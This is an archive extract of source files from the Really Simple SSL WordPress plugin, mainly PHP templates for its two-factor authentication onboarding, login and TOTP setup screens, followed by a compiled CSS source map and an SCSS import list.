            <input type="text" inputmode="numeric" name="rsssl-two-factor-email-code" id="rsssl-two-factor-email-code"
                   class="input rsssl-authcode" value="" size="20" pattern="[0-9 ]*" placeholder="1234 5678"
                   data-digits="8"/>
            <p class="two-factor-prompt"><i><?php esc_html_e('A verification code has been sent to the email address associated with your account to verify functionality.', 'really-simple-ssl'); ?> <a href="#" id="rsssl_resend_code"> <?php esc_attr_e('Resend Code', 'really-simple-ssl'); ?></a></i></p>
        </td>
    </tr>
</table>

really-simple-ssl/assets/templates/two_fa/onboarding.php000064400000014044147510273070017545 0ustar00<?php
// first we validate the data variables
use RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor_Email;
use RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor_Totp;

/**
 * @param $variable
 * @param $default
 * @return void
 */
function rsssl_check_and_set(&$variable, $default = null)
{
    if (!isset($variable)) {
        $variable = $default;
    }
}

// Use the function for all your variables
$variables_to_check = array(
    'available_providers',
    'selected_provider',
    'rememberme',
    'interim_login',
    'nonce',
    'login_nonce',
    'action',
    'redirect_to',
    'url',
    'minified_js',
    'minified_css',
    'interim_login',
    'backup_providers',
    'provider',
    'primary_provider',
    '$skip_two_fa_url',
    'is_today'
);

foreach ($variables_to_check as $var) {
    rsssl_check_and_set($$var);
}
login_header();
// We create the onboarding form.
?>

    <form id="two_fa_onboarding_form" class="login-form" method="post">
        <h3><?php echo esc_html__('Two-Factor Authentication', 'really-simple-ssl'); ?></h3>
        <p>
            <?php
            if ($is_forced) {
                echo esc_html__(
                    'This site requires you to secure your account with a second authentication method.',
                    'really-simple-ssl'
                );
            } else {
                echo sprintf(esc_html__(
                    'You can protect your account with a second authentication layer. Please choose one of the following methods, or click %s if you don’t want to use Two-Factor Authentication.',
                    'really-simple-ssl'
                ), esc_html__('Don\'t ask again', 'really-simple-ssl'));
            }
            ?>
        </p>
        <?php
        if ($is_forced && $grace_period) {
            ?>
            <br/>
            <p>
                <?php
                if (!$is_today) {
                    echo sprintf(esc_html__(
                        'Please make sure to configure a method, access to your account will be denied if no method is configured within the next %s days.',
                        'really-simple-ssl'
                    ), $grace_period);
                } else {
                    echo esc_html__('Please make sure to configure a method, access to your account will be denied if no method is configured today.', 'really-simple-ssl');
                }

                ?>
            </p>
            <?php
        }
        ?>
        <div id="rsssl_step_one_onboarding" class="rsssl_step_one_onboarding">
            <?php
            // We loop through the available providers and create a radio button for each but the first one if it is TOTP is checked
            foreach ($available_providers as $provider) {
                $checked = get_class($provider) === $primary_provider;
                $provider::get_selection_option($user, $checked);
            }
            ?>
        </div>
        <div id="rsssl_step_two_onboarding" class="rsssl_step_two_onboarding">
            <p>
                <?php
                try {
                    Rsssl_Two_Factor_Totp::display_onboarding_step_totp($user);
                } catch (Exception $e) {
                    // We just continue to the redirected page
                    wp_redirect($redirect_to);
                }
                ?>
            </p>
        </div>
        <div id="rsssl_step_three_onboarding" class="rsssl_step_three_onboarding">
            <p class="two-factor-prompt"><?php echo esc_html__('A verification code has been sent to the email address associated with your account.', 'really-simple-ssl'); ?></p>
            <p>
                <label for="rsssl-authcode"><?php echo esc_html__('Verification Code:', 'really-simple-ssl'); ?></label>
                <input type="text" inputmode="numeric" name="rsssl-two-factor-email-code" id="rsssl-authcode"
                       class="input rsssl-authcode" value="" size="20" pattern="[0-9 ]*" placeholder="1234 5678"
                       data-digits="8"/>
            </p>
            <p class="rsssl-two-factor-email-resend">
                <button class="button"
                        id="<?php echo esc_attr(Rsssl_Two_Factor_Email::RSSSL_INPUT_NAME_RESEND_CODE); ?>"
                        name="<?php echo esc_attr(Rsssl_Two_Factor_Email::RSSSL_INPUT_NAME_RESEND_CODE); ?>"><?php esc_attr_e('Resend Code', 'really-simple-ssl'); ?></button>
            </p>
        </div>
        <p class="skip_container">
            <?php
            if (!$is_forced) {
                ?>
                <a href="#" id="do_not_ask_again">
                    <?php echo esc_html__('Don\'t ask again', 'really-simple-ssl'); ?>
                </a>
                <a href="#" id="skip_onboarding">
                    <?php echo esc_html__('Skip', 'really-simple-ssl'); ?>
                </a>
                <?php
            } else {
                // We check if there is a grace period.
                if ($grace_period) {
                    ?>
                    <a href="#" id="skip_onboarding">
                        <?php
                        if ($is_today) {
                            echo esc_html__('Skip (Only today remaining)', 'really-simple-ssl');

                        } else {
                            echo sprintf(
                                esc_html__('Skip (%1$d %2$s remaining)', 'really-simple-ssl'),
                                $grace_period,
                                $grace_period > 1 ? esc_html__('days', 'really-simple-ssl') : esc_html__('day', 'really-simple-ssl')
                            );
                        }
                        ?>
                    </a>
                    <?php
                } else {
                    ?>
                    <span></span>
                    <?php
                }
            }
            ?>
            <input type="submit" id="rsssl_continue_onboarding" name="onboarding_submit"
                   class="button button-primary button-large"
                   value="<?php echo esc_html__('Continue', 'really-simple-ssl'); ?>"/>
        </p>
    </form>
<?php
login_footer();
really-simple-ssl/assets/templates/two_fa/selectable-option.php000064400000001464147510273070021036 0ustar00<?php
if (!isset($user) || !$user instanceof WP_User) {
    // We throw an error here because the $user variable is required
    throw new RuntimeException('The $user variable is required.');
}
//checking all other variables
if (!isset($badge_class, $enabled_text, $checked_attribute, $title, $description, $type, $forcible)) {
    return; // Return early if variables are not set
}
?>
<p>
    <label class="radio-label">
        <strong><?php echo $title ?></strong>
        <input type="radio" name="preferred_method" value="<?php echo $type ?>"
               class="radio-input" <?php echo $checked_attribute; ?>/>
    </label>
    <br>
    <?php
    echo $description;
    // Get the user's role.
    $user_roles = $user->roles;
    // If this is in the forced roles, we do not show the "disable" link.
    ?>
</p>
really-simple-ssl/assets/templates/two_fa/expired.php000064400000000341147510273070017056 0ustar00<?php
login_header();
?>
	<form class="login-form">
		<h3><?php echo esc_html__('Two-Factor Authentication', 'really-simple-ssl'); ?></h3>
		<br>
		<p>
			<?php echo esc_html($message) ?>
		</p>
	</form>
<?php
login_footer();really-simple-ssl/assets/templates/two_fa/login.php000064400000007303147510273070016533 0ustar00<?php
login_header();

if ( ! empty( $error_msg ) ) {
	echo '<div id="login_error" class="notice notice-error"><strong>Error: </strong>' . esc_html( $error_msg ) . '<br /></div>';
} else {
	\RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor::maybe_show_last_login_failure_notice( $user );
}
?>

<form name="rsssl_validate_2fa_form" id="loginform"
      action="<?php echo esc_url( \RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor::login_url( array( 'action' => 'validate_2fa' ), 'login_post' ) ); ?>"
      method="post" autocomplete="off">
    <input type="hidden" name="provider" id="provider" value="<?php echo esc_attr( $provider_class ); ?>"/>
    <input type="hidden" name="rsssl-wp-auth-id" id="rsssl-wp-auth-id"
           value="<?php echo esc_attr( $user->ID ); ?>"/>
    <input type="hidden" name="rsssl-wp-auth-nonce" id="rsssl-wp-auth-nonce"
           value="<?php echo esc_attr( $login_nonce ); ?>"/>
	<?php if ( $interim_login ) { ?>
        <input type="hidden" name="interim-login" value="1"/>
	<?php } else { ?>
        <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>"/>
	<?php } ?>
    <input type="hidden" name="rememberme" id="rememberme" value="<?php echo esc_attr( $rememberme ); ?>"/>

	<?php $provider->authentication_page( $user ); ?>
</form>

<?php
 if ( get_class($provider) === 'RSSSL\Pro\Security\WordPress\Two_Fa\Rsssl_Two_Factor_Totp') {
?>
<div class="backup-methods-wrap">
<!--    <p class="backup-methods">-->
<!--        <a>-->
<!--			--><?php
//			echo esc_html__('Or, enter your backup code.', 'really-simple-ssl');
//			?>
<!--        </a>-->
<!--    </p>-->
</div>
<?php
}
?>
<style>
    /* @todo: migrate to an external stylesheet. */
    .backup-methods-wrap {
        margin-top: 16px;
        padding: 0 24px;
    }

    .backup-methods-wrap a {
        color: #999;
        text-decoration: none;
    }

    ul.backup-methods {
        display: none;
        padding-left: 1.5em;
    }

    /* Prevent Jetpack from hiding our controls, see https://github.com/Automattic/jetpack/issues/3747 */
    .jetpack-sso-form-display #loginform > p,
    .jetpack-sso-form-display #loginform > div {
        display: block;
    }

    #login form p.two-factor-prompt {
        margin-bottom: 1em;
    }

    .input.rsssl-authcode {
        letter-spacing: .3em;
    }

    .input.rsssl-authcode::placeholder {
        opacity: 0.5;
    }
</style>
<script>
    (function () {
        // Enforce numeric-only input for numeric inputmode elements.
        const form = document.querySelector('#loginform'),
            inputEl = document.querySelector('input.rsssl-authcode[inputmode="numeric"]'),
            expectedLength = inputEl?.dataset.digits || 0;

        if (inputEl) {
            let spaceInserted = false;
            inputEl.addEventListener(
                'input',
                function () {
                    let value = this.value.replace(/[^0-9 ]/g, '').trimStart();

                    if (!spaceInserted && expectedLength && value.length === Math.floor(expectedLength / 2)) {
                        value += ' ';
                        spaceInserted = true;
                    } else if (spaceInserted && !this.value) {
                        spaceInserted = false;
                    }

                    this.value = value;

                    // Auto-submit if it's the expected length.
                    if (expectedLength && value.replace(/ /g, '').length == expectedLength) {
                        if (undefined !== form.requestSubmit) {
                            form.requestSubmit();
                            form.submit.disabled = "disabled";
                        }
                    }
                }
            );
        }
    })();
</script>
really-simple-ssl/assets/templates/two_fa/totp-config.php000064400000003706147510273070017657 0ustar00<?php
// Ensure the $user variable is available
if (!isset($user) || !$user instanceof WP_User) {
    // We throw an error here because the $user variable is required
    throw new RuntimeException('The $user variable is required.');
}

if (isset($_GET['error']) && $_GET['error'] === 1) {
    ?>
    <p class="error">
        <?php echo esc_html__('Authentication code is incorrect.', 'really-simple-ssl'); ?>
    </p>
    <?php
}
?>
<br/>
<p>
    <strong><?php echo esc_html__('Install Authentication app:', 'really-simple-ssl'); ?></strong><br/>
    <?php
    printf(
    // Translators: %s is the hyperlink for "Download"
        esc_html__('Use your authenticator app like Google Authenticator to scan the QR code below, then paste the provided Authentication code. %s', 'really-simple-ssl'),
        '<a id="download_codes" href="#">' . esc_html__('Download Backup Codes', 'really-simple-ssl') . '</a>'
    );
    ?>
</p>
<p id="two-factor-qr-code">
    <a href="#">
        Loading...
        <img src="<?php echo esc_url(admin_url('images/spinner.gif')); ?>" alt=""/>
    </a>
</p>
<p style="margin-bottom: 10px;">
    <i id="totp-key">
        <?php
        echo esc_html__('Copy setup key', 'really-simple-ssl');
        ?>
    </i>
</p>
<p>
    <label for="two-factor-totp-authcode">
        <strong><?php echo esc_html__('Authentication Code:', 'really-simple-ssl'); ?></strong>
        <?php
        /* translators: Example auth code. */
        $placeholder = sprintf(esc_html__('eg. %s', 'really-simple-ssl'), '123 456');
        ?>
        <input type="tel" name="two-factor-totp-authcode" id="two-factor-totp-authcode" class="input" value=""
               size="20" pattern="[0-9 ]*" placeholder="<?php echo esc_attr($placeholder); ?>"/>
    </label>
</p>

<input type="submit" class="button button-primary button-large totp-submit" name="two-factor-totp-submit"
       id="two-factor-totp-submit"
       value="<?php echo esc_html__('Submit', 'really-simple-ssl'); ?>"/>
really-simple-ssl/assets/css/admin.css.map000064400000023400147510273070014577 0ustar00{"version":3,"sourceRoot":"","sources":["admin.scss","variables.scss","admin/base.scss","admin/layout.scss","admin/modules/modal.scss","admin/modules/header.scss","admin/modules/buttons.scss","admin/modules/bullets.scss","admin/modules/icons.scss","admin/modules/onboarding.scss","admin/modules/progress.scss","admin/modules/ssltest.scss","admin/modules/placeholder.scss","admin/modules/other-plugins.scss","admin/modules/tips-tricks.scss","admin/modules/wizard.scss","admin/modules/wizard/notice.scss","admin/modules/wizard/menu.scss","admin/modules/wizard/fields.scss","admin/modules/wizard/snackbar.scss","admin/modules/wizard/mixed-content-scan.scss","admin/modules/wizard/learning-mode.scss","admin/modules/wizard/letsencrypt.scss","admin/modules/notices.scss","admin/modules/datatables.scss","admin/modules/security-features.scss","admin/modules/tooltip.scss","admin/states.scss","admin/theme.scss"],"names":[],"mappings":";AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;ACSA;EAEE;EACA;EACA;EACA;EACA;EACA;EAGA;EACA;EAGA;EACA;EACA;EACA;EACA;EACA;EAGA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EAEA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EAEA;EACA;EAGA;EACA;EACA;EAEA;EACA;EACA;EACA;EAEA;EACA;EACA;EACA;EACA;EACA;EAGA;EACA;EACA;EACA;EACA;EAIA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EA0BA;EACA;EACA;;AA1BA;EAjFF;IAkFA;IACI;IACA;IACA;IACA;IACA;IACA;IACA;IACA;;;AAEF;EA5FF;IA6FI;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA;;;;AAmEJ;EACE;IAAO;;EACP;IAAO;;;ACnLT;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACE;;AAGF;EACE;EACA;;AAGF;EACE;EACA;;AAGF;EACD;EACA;;AAGC;EACD;EACA;EACA;;AAGC;EACD;EACA;EACA;EACA;;AAGC;EACD;EACA;EACA;;AAGC;EACD;EACA;EACA;;AAGC;EACD;EACA;EACA;;AAGC;EACD;EACA;EACA;;AAGC;EACD;EACA;;AAGC;EACD;EACA;EACA;EACA;;AAGC;EACD;EACA;EACA;;AAGC;EACD;;AAEC;EACE;;AAIF;EACD;;AAKA;EACE;;;ACnGH;AAEE;EACE;EACA;;AACA;EAHF;IAII;;;AAEF;EANF;IAOI;;;AAEF;EATF;IAUI;;;AASJ;EACE;EACA;EACA;EACA;EACA;EACA;;AACA;EAPF;IAQI;;;AAIJ;EACE;EACA;;AACA;EAHF;IAII;IACA;IACA;IACA;IACA;;;AAGF;EACE;;AAEA;EACE;;AAGF;EACE;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AACA;EAVF;IAWI;;;AAEF;EACE;;AAGF;EACE;;AAMR;EACE;EACA;EACA;EACA;EACA;;AAEA;EACE;;AAGF;EACE;IACE;;;AAMN;EACE;;AAGF;EACE;;AAGF;EACE;EACA;EACA;EACA;EACA;;AACA;EACE;;AAIJ;EFGA;EACA;EACA;EEHE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EAZF;IAaI;;;AAGF;EACE;EACA;EACA;;AAGF;EACE;;AACA;EAFF;IAGI;;;AAIJ;EACE;EACA;;AAGF;EACE;EACA;EACA;EACA;EACA;EF9BJ;;AAEA;EEuBE;IFtBA;;;AAEF;EEoBE;IFnBA;;;AAEF;EEiBE;IFhBA;;;AEwBE;EACE;;AAIJ;EACE;;AAGF;EACE;EACA;EACA;;AAGF;EACE;EACA;EFlBJ;EEoBI;;AFlBJ;EEcE;IFbA;;;AAEF;EEWE;IFVA;;;AAEF;EEQE;IFPA;;;AEaE;EACE;;AAIJ;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EFnEJ;EEqEI;;AFnEJ;EEyDE;IFxDA;;;AAEF;EEsDE;IFrDA;;;AAEF;EEmDE;IFlDA;;;AE8DE;EACE;;AAEA;EACE;;AAIJ;EACE;;AAIJ;EACE;;AAGF;EACE;;;ACvNN;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EHuGA;EGrGE;EACA;EACA;EACA;;AHoGF;EGzGA;IH0GE;;;AAEF;EG5GA;IH6GE;;;AAEF;EG/GA;IHgHE;;;AG1GA;EACE;EACA;;AAEF;EACE;EACA;EACA;EACA;;AAGA;EACE;EACA;;AAKN;EACE;EACA;EACA;EH4EF;;AAEA;EGjFA;IHkFE;;;AAEF;EGpFA;IHqFE;;;AAEF;EGvFA;IHwFE;;;AGnFA;EACE;EACA;;AAEF;EACE;EACA;EACA;EACA;EACA;;AAGJ;EACE;EACA;EH4DF;EG1DE;;AH4DF;EGhEA;IHiEE;;;AAEF;EGnEA;IHoEE;;;AAEF;EGtEA;IHuEE;;;AGjEA;EACE;EACA;EACA;EACA;EAIA;EAEA;;AAGF;EACE;EACA;EACA;;AACA;EACE;;;ACxFR;EACE;EACA;EACA;EACA;;AAEA;EACD;EACA;;AAEC;EACE;EACA;EACA;EACA;EACA;;AACA;EACE;EACA;EACA;EACA;EACA;;AACA;EACE;;AAEF;EACE;;AAEF;EACE;;AAIN;EACD;EACA;EACA;EACA;;AAEA;EACE;;;ACvCD;EACE;EACA;EACA;EACA;EACA;;AAEA;EACE;;AAGF;EACE;EACA;EACA;;AAEA;EACE;;AAIJ;EACE;EACA;EACA;;AAEA;EACE;EACA;EACA;;;AAON;EACE;EACA;EACA;;;AAGJ;AACA;EACE;EACA;EACA;EACA;EACA;;;AAGF;EACE;;;ACnDA;EACD;EACA;EACA;EACA;EACA;EACE;;AACF;EACE;;AAGF;EACE;;AAGF;EACE;;AAGF;EACE;;AAGF;EACE;;AAEF;EACE;EACA;EACA;EACA;;AAGF;EACC;EACA;EACA;EAEA;EACA;EACA;EACA;EACA;EACA;;AACA;EACC;;AAID;EACD;IACE;;EAEF;IACE;;EAEF;IACE;;;;AC3DH;EACE;EACA;EACA;;AACA;EACE;;;ACLJ;EACE;;AACA;EACE;;AAEF;EACE;EACA;EACA;EACA;;AACA;EACE;;AAGJ;EACE;;AACA;EACE;;AAGJ;EACE;EACA;EACA;EACA;;AACA;EACE;;ACzBJ;EACE;;AAGF;ETyHA;;AAEA;ES3HA;IT4HE;;;AAEF;ES9HA;IT+HE;;;AAEF;ESjIA;ITkIE;;;;AS5HF;EACE;EACA;EACA;EACA;;AAEA;EACE;EACA;;AAEA;EACE;;AAKN;ETmGA;ESjGE;;ATmGF;ESrGA;ITsGE;;;AAEF;ESxGA;ITyGE;;;AAEF;ES3GA;IT4GE;;;ASvGF;EACE;EACA;ET4FF;ES1FE;EACA;EACA;;AT0FF;EShGA;ITiGE;;;AAEF;ESnGA;IToGE;;;AAEF;EStGA;ITuGE;;;AS9FA;EACE;EACA;;AAGF;EACE;;AAEA;EACE;;;AAMR;EACE;EACA;;AAEA;EACE;;;AAIJ;EACE;EACA;;AAGE;EACE;EACA;;AAGF;EACE;;;AAKN;EACE;EACA;EACA;;AAEA;EACE;;;AAIJ;EACE;;;AAGF;AAAA;AAAA;AAIA;EACE;EACA;EACA;EACA;EACA;;AACA;EANF;IAOI;;;AAGF;EACE;;AAGF;EACE;EACA;EACA;;AAGF;EACE;EACA;;AAKA;EACE;;AAGF;EACE;EACA;EACA;;AAGF;EACE;EACA;;;AAMN;ETlBE;ESoBA;EACA;EACA;EACA;EACA;EACA;EACA;EAIA;EACA;EACA;EACA;EACA;;AThCA;ESgBF;ITfI;;;AAEF;ESaF;ITZI;;;AAEF;ESUF;ITTI;;;AS4BF;EACE;EACA;EACA;;AAGF;EACE;EACA;EACA;;AAGF;EACE;EACA;;;AAIJ;EACE;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;;AACA;EARF;IASI;;;AAEF;EAXF;IAYI;IACA;IACA;IACA;IACA;IACA;;;AAGF;EACE;EACA;;AAGF;EACE;;AAGF;EACE;EACA;;AAGF;EACE;EACA;;AAGF;EACE;EACA;;;AAIJ;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;;ACnPF;EACE;;;AAIA;EVyHA;;AAEA;EU3HA;IV4HE;;;AAEF;EU9HA;IV+HE;;;AAEF;EUjIA;IVkIE;;;AU9HF;EACE;EACA;;AACA;EACE;;AAEF;EACE;;AAEF;EACE;EACA;;AAEA;EACE;EACA;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;;AACA;EACE;;AACA;EACE;EACA;EACA;EACA;;AAKN;EACE;EACA;;AACA;EACG;;AACD;EACE;EACA;EACA;EACA;EACA;;AAEA;EACE;EACA;;AAGF;EACE;EACA;;AAGF;EACE;EACA;;AAGF;EACE;EACA;;AAQZ;EACE;EAQA;;AAPA;EACE;;AACA;EACE;;AAON;EACE;;;AAOA;EACE;;AAIJ;EACE;EACA;EACA;EACA;;AAEA;EACE;EACA;;;ACpGN;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACE;EACA;EACA;EACA;EACA;EAtBF;EACA;EA0BE;;AAJA;EACE;;AAKA;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AADF;EACE;;AAKN;EACE;;;AAKJ;EACE;IACE;;EAEF;IACE;;;ACxDF;EACD;;AAGC;EACD;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EATC;IAUC;IACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;;AAEA;EACD;;AAGC;EACD;;AAGC;EACD;;AAGC;EACD;;AAGC;EACD;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACE;EACA;;AAEA;EACD;;AAGC;EACD;;AAKA;EACD;EACA;;AAGC;EACD;EACA;EACA;;AAEC;EACD;;;AC9EF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EATF;IAUC;IACA;;;AAGC;EACD;;AACA;EAFC;IAGC;;;AAEF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACD;EACA;;AAEA;EACE;;AAGF;EACE;;AAKH;EACE;EACA;;AAEF;EACE;EACA;EACA;;;AC/CC;EACE;;AAGF;EACE;EACA;;AACA;EAHF;IAII;;;AAGJ;EACE;;AACA;EAFF;IAGI;;;AAIJ;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EdyFN;EcvFM;EACA;EACA;;AduFN;EclGI;IdmGF;;;AAEF;EcrGI;IdsGF;;;AAEF;EcxGI;IdyGF;;;Ac5FI;EACE;EACA;;AAGF;EACE;EACA;;AAKN;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACE;;AACA;EACE;;AAIJ;EACE;;;AC3ER;EACE;EACA;EACA;EACA;;AACA;EACE;;AACA;EACE;EACA;EACA;EACA;EACA;EACA;;AACA;EACE;;AAEF;EACE;;AAEF;EACE;EACA;;AAIN;EACE;;AAEF;EACE;;AACA;EACE;EACA;;AACA;EACE;;;AAMR;EACE;Ef8EA;EACA;EACA;Ee9EA;EACA;;AACA;EACE;EACA;;AAEF;EACE;;;ACnDJ;EACE;;AACA;EACE;EACA;;;AAKA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EhB8IJ;EgB5II;EACA;;AhB6IJ;EgBvJE;IhBwJA;;;AAEF;EgB1JE;IhB2JA;;;AAEF;EgB7JE;IhB8JA;;;AgBjJE;EAEE;EACA;EACA;;AAKF;EAGE;EACA;;AACA;EACI;EACA;EACA;EACA;EACA;;AAON;EACE;EACA;;AACA;EACE;EACA;EACA;EACA;EACA;;AAMR;EACE;;AACA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EhBuFJ;EgBrFI;EACA;;AhBsFJ;EgBhGE;IhBiGA;;;AAEF;EgBnGE;IhBoGA;;;AAEF;EgBtGE;IhBuGA;;;AgBxFA;EACE;EACA;;;AC/EF;EACE;EACA;EACA;EACA;;AACA;EACE;;AAEF;EACE;;AAGJ;EACE;;AAGA;EACE;EACA;EACA;EACA;;AACA;EACI;;AAKN;EACE;;AAGJ;EACE;EjB4HJ;EiB1HI;;AjB4HJ;EiB/HE;IjBgIA;;;AAEF;EiBlIE;IjBmIA;;;AAEF;EiBrIE;IjBsIA;;;AiBlIE;EACE;;AAGJ;EACE;EACA;EACA;EACA;;AAIJ;EACE;EACA;EACA;EACA;;AAGF;EACE;IAAO;;EACP;IAAO;;EACP;IACE;IACA;;;AAGJ;EACE;IACE;IACA;;EAEF;IAAO;;EACP;IAAO;;;;ACrET;EACE;EACA;EACA;EACA;;AACA;EACE;;AAEF;ElB+GF;EACA;EACA;EkB/GI;;;ACTF;EACE;EACA;;AAGJ;EACE;;AACA;EACE;EACA;;AAGJ;EACE;EACA;;AAEF;EACE;EACA;;;ACpBJ;EACE;EACA;EACA;EACA;EACA;;;ACLF;EACE;;AACA;EACE;EACA;;AACA;EACE;EACA;EACA;EACA;;AAEA;EACE;EACA;;AAEA;EACE;;AAMR;EACE;;AAGF;EACE;EACA;ErBkGF;EqBhGE;EACA;;ArBiGF;EqBtGA;IrBuGE;;;AAEF;EqBzGA;IrB0GE;;;AAEF;EqB5GA;IrB6GE;;;AqBtGA;EACE;EACA;;AAGF;EACE;EACA;EACA;;AACA;EACE;;AAMJ;EACE;AAKA;;AAJA;EACE;;AAIF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAMJ;EACE;;AAEF;EACE;;AAEF;EACE;;AAIA;EACE;EACA;;AACA;EACE;EACA;;AAMR;EACE;EACA;EACA;EACA;;AACA;EACE;EACA;;AACA;EACE;;AAUN;EACE;;;ACjHJ;AAAA;AAAA;AAKE;EACD;EACA;EACA;;AAEA;EACE;;AAGF;EACE;EACA;;;AChBH;EACE;;;AAEF;EACE;;;AAGF;EACE;;;ACNE;EACE;EACA;EACA;;AAGJ;EACE;EACA;EACA;EACA;;AAEF;EACE;EACA;EACA;EACA;EACA;EACA;EACA;;AACA;EACE;;;ACvBN;AACA;AACA;AAAA;EAEE;EACA;;;AAGF;AACA;AAAA;AAAA;AAAA;EAIE;EACA;EACA;EACA;EACA;EACA,oBACQ;EAGR,iBACQ;EAGR,YACQ;EAGR;EACA;EACA;EACA;;;AAGF;AACA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;EAQE;EACA;EACA;EACA;;;AAGF;AACA;AAAA;EAEE;EACA;EACA;EACA;;;AAGF;AACA;AAAA;EAEE;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;;AAGF;AAEA;AACA;EACE;;;AAEF;AAAA;AAAA;AAAA;AAAA;AAAA;EAME;EACA;;;AAGF;AAAA;AAAA;EAGE;EACA;EACA;EACA;;;AAGF;AACA;AAAA;AAAA;EAGE;;;AAGF;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;EAYE;EACA;EACA;;;AAGF;AACA;AAAA;EAEE;AACA;EACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;EACA;;;AAGF;AAAA;AAAA;AAAA;EAIE;EACA;EACA;;;AAGF;AACA;AAAA;EAEE;EACA;EACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;;;AAGF;AAAA;AAAA;AAAA;EAIE;EACA;EACA;;;AAGF;AACA;AAAA;EAEE;EACA;;;AAGF;EACE;EACA;EACA;EACA;EACA;;;AAGF;AAAA;AAAA;AAAA;EAIE;EACA;EACA;;;AAGF;AACA;AAAA;EAEE;;;AAGF;AACA;AAAA;EAEE;EACA;;;AChNF;AACE;AAiDA;;AA5CA;EACD;EACA;EACA;EACA;EAEA,kBACE;EAMF;EAEA,iBACE;EAMF,qBACE;EAMF;EACA;EACA;;AAEC;EACD;IACE,qBACE;;;AASH;EACD;EACA;EACA;EACA;EACA;;AACA;EACE;EACA;EACA;EACA;EACA;EACA;EACA;;AAGF;EACE;;AAGF;EACE;EACA;;AAGF;EACE;EACA;;AAGF;EACE;EACA;;AAGF;EACE;EACA;;AAID;EACD;;AAKC;EACD;IAAgB;;EAChB;IAAM;;;AAGL;EACD;IACE;IACA;;EACC;IACD;IACA;;;;AC7GH;EAEE;EACA;EACA","file":"admin.css"}really-simple-ssl/assets/css/admin.scss000064400000004416147510273070014214 0ustar00/**
*
* Prefix everything
* Name descriptively
* Structure radically
*
* CSS Structure
*	css/
*	├─ admin/
*	│  ├─ base.scss
*	│  ├─ layout.scss
*	│  ├─ modules/
*	│  │  ├─ modal.scss
*	│  │  ├─ button.scss
*	│  │  ├─ modal.scss
*	│  │  ├─ notices.scss
*	│  │  ├─ tips-and-tricks.scss
*	│  │  ├─ etc.....
*	│  ├─ states.scss
*	│  ├─ theme.scss
*	├─ admin.scss
*	├─ admin.min.css
*	├─ admin.css
*	├─ variables.scss
*
*/

@import 'variables.scss';
@import 'admin/base.scss';
@import 'admin/layout.scss';
  //@import 'admin/modules/modal.scss';
  @import 'admin/modules/header.scss';
  @import 'admin/modules/dashboard.scss';
  @import 'admin/modules/buttons.scss';
  @import 'admin/modules/bullets.scss';
  @import 'admin/modules/icons.scss';
    @import 'admin/modules/badges.scss';

  @import 'admin/modules/toast/main.scss';
  @import 'admin/modules/onboarding.scss';
  @import 'admin/modules/progress.scss';
  @import 'admin/modules/ssltest.scss';
  @import "admin/modules/placeholder.scss";
  @import 'admin/modules/other-plugins.scss';
  @import 'admin/modules/tips-tricks.scss';
  @import 'admin/modules/wizard.scss';
    @import 'admin/modules/wizard/notice.scss';
    @import 'admin/modules/wizard/menu.scss';
    @import 'admin/modules/wizard/fields.scss';
    @import 'admin/modules/wizard/snackbar.scss';
    @import 'admin/modules/wizard/mixed-content-scan.scss';
    @import 'admin/modules/wizard/learning-mode.scss';
    @import 'admin/modules/wizard/letsencrypt.scss';
    @import 'admin/modules/wizard/permissions-policy.scss';
    @import 'admin/modules/wizard/vulnerabilities.scss';
  @import 'admin/modules/notices.scss';
  @import 'admin/modules/datatables.scss';
  @import 'admin/modules/new-features.scss';
  @import 'admin/modules/two-fa.scss';
    @import 'admin/modules/introcontainer.scss';
@import "admin/modules/premium_overlay.scss";
@import "admin/modules/xml-rpc.scss";

  //@import 'admin/modules/dark-mode.scss';
